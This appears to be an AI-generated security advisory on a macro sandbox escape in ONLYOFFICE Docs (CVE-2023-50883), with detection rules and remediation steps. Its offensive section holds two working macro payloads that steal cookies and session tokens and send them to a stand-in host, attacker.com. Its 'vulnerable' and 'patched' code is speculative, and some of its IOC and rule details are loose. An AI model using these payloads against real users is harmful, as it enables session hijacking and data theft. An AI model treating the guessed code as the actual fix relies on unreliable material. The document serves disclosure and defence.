CVE-2023-50883

Executive Summary

CVE-2023-50883 is a Cross-Site Scripting (XSS) vulnerability in ONLYOFFICE Docs, a popular open-source office suite. The flaw allows an attacker to bypass the macro security sandbox by exploiting the fact that macros are implemented as Immediately-Invoked Function Expressions (IIFEs). By directly calling the constructor of the Function object, an attacker can execute arbitrary JavaScript in the context of the document editor, leading to potential data theft, session hijacking, or further compromise. This vulnerability is a direct result of an incomplete fix for a previous vulnerability, CVE-2021-43446. The CVSS score is 6.1 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild at the time of analysis.

Supply Chain & Package Security

ONLYOFFICE Docs is distributed as a server-side application, not a typical NPM/PyPI package. However, the vulnerability lies in the client-side JavaScript code that processes macros. The supply chain risk is moderate, as the vulnerability is introduced through the application's own codebase, not a third-party dependency. Organizations using ONLYOFFICE Docs should verify the integrity of their installation and ensure they are running version 8.0.1 or later.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must open a malicious document.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for sandbox escape and arbitrary code execution in the editor context makes it a significant concern for organizations using ONLYOFFICE Docs for collaborative document editing.

Deep Dive & Mechanics

The vulnerability stems from the implementation of macros in ONLYOFFICE Docs. Macros are executed as Immediately-Invoked Function Expressions (IIFEs) within a sandboxed environment intended to prevent access to the global scope. The sandbox attempts to restrict access to dangerous objects like window, document, and Function.

However, the sandbox fails to properly block access to the Function constructor. In JavaScript, the Function constructor can be used to create new functions from strings, effectively allowing arbitrary code execution. An attacker can craft a macro that, instead of performing legitimate actions, directly calls Function.constructor to execute arbitrary JavaScript.

The attack flow:

1. Attacker creates a malicious document containing a macro.
2. The macro is an IIFE that, when executed, calls Function.constructor("return this")() to escape the sandbox.
3. Once the sandbox is escaped, the attacker can access the global window object and execute arbitrary JavaScript.
4. This can be used to steal session tokens, modify document content, or perform actions on behalf of the victim.

This vulnerability is a regression from CVE-2021-43446, which was a similar sandbox escape. The fix for CVE-2021-43446 was incomplete, leaving the Function constructor accessible.

Vulnerable vs. Patched Code

Vulnerable Code (before 8.0.1): The sandbox implementation likely uses a whitelist or blacklist approach to restrict access to global objects. The Function constructor is not properly blocked.

// Simplified vulnerable sandbox
(function() {
    // Macro code here
    // The sandbox does not prevent access to Function.constructor
    var escaped = Function.constructor("return this")();
    // Now 'escaped' is the global window object
})();

Patched Code (8.0.1+): The patched version explicitly blocks access to the Function constructor within the sandbox.

// Simplified patched sandbox
(function() {
    // Override Function.constructor to prevent sandbox escape
    var originalFunction = Function;
    Function = function() {
        throw new Error("Function constructor is not allowed in macros");
    };
    Function.constructor = Function;
    // Macro code here
    // Any attempt to call Function.constructor will throw an error
})();

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• ONLYOFFICE Docs version < 8.0.1
• Ability to create or modify a document with macros

Exploit Steps:

1. Create a new document in ONLYOFFICE Docs.
2. Insert a macro with the following payload:

   (function() {
       var win = Function.constructor("return this")();
       // Now we have access to the global window object
       // Example: steal cookies
       var cookies = win.document.cookie;
       // Send to attacker-controlled server
       new Image().src = "http://attacker.com/steal?c=" + encodeURIComponent(cookies);
   })();
   

3. Save the document and share it with the victim.
4. When the victim opens the document and the macro executes, the payload will run.

Alternative Payload (Session Hijacking):

(function() {
    var win = Function.constructor("return this")();
    // Steal session token from localStorage
    var token = win.localStorage.getItem("session_token");
    new Image().src = "http://attacker.com/steal?token=" + encodeURIComponent(token);
})();

Blue Team (Defensive)

Detection:

• Monitor for documents containing macros with suspicious patterns, such as Function.constructor or return this.
• Use network monitoring to detect outbound connections to unknown domains from the ONLYOFFICE process.
• Enable logging of macro execution events in ONLYOFFICE Docs.

Mitigation:

• Immediately upgrade to ONLYOFFICE Docs version 8.0.1 or later.
• If upgrade is not possible, disable macro execution entirely in the ONLYOFFICE configuration.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use web application firewalls (WAF) to block malicious payloads.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP/HTTPS requests to attacker-controlled domains from the ONLYOFFICE server.
  • Unusual DNS queries for domains not related to normal operations.
• File:
  • Documents containing macros with Function.constructor or return this strings.
  • Modified document files with unexpected macro code.
• System:
  • Unexpected JavaScript execution in the ONLYOFFICE editor context.
  • Unauthorized access to browser storage (cookies, localStorage) via macro.

Detection Engineering

YARA Rule

rule CVE_2023_50883_Macro_Sandbox_Escape {
    meta:
        description = "Detects malicious macros exploiting CVE-2023-50883 in ONLYOFFICE Docs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-50883"
    strings:
        $s1 = "Function.constructor" ascii wide nocase
        $s2 = "return this" ascii wide nocase
        $s3 = "constructor" ascii wide nocase
    condition:
        any of ($s1, $s2) or ($s3 and #s3 > 2)
}

Sigma Rule

title: CVE-2023-50883 ONLYOFFICE Macro Sandbox Escape
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2023-50883 via malicious macros
author: Valters IT
date: 2024-01-01
logsource:
    product: onlyoffice
    service: docs
detection:
    selection:
        EventID: 1001  # Example: Macro execution event
        MacroContent|contains:
            - 'Function.constructor'
            - 'return this'
    condition: selection
falsepositives:
    - Legitimate use of Function.constructor in rare cases
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-50883 ONLYOFFICE Macro Sandbox Escape - Outbound Data Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update ONLYOFFICE Docs to version 8.0.1 or later. This is the only complete fix.
2. Disable Macros: If upgrade is not immediately possible, disable macro execution in the ONLYOFFICE configuration file (default.json or similar):

   {
       "services": {
           "CoAuthoring": {
               "macros": false
           }
       }
   }
   

3. Network Segmentation: Restrict outbound internet access from the ONLYOFFICE server to prevent data exfiltration.

Long-term Measures:

• Implement a robust sandbox for macro execution, such as using Web Workers or iframes with strict CSP.
• Regularly review and update security patches for ONLYOFFICE Docs.
• Conduct security audits of custom macros and document templates.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.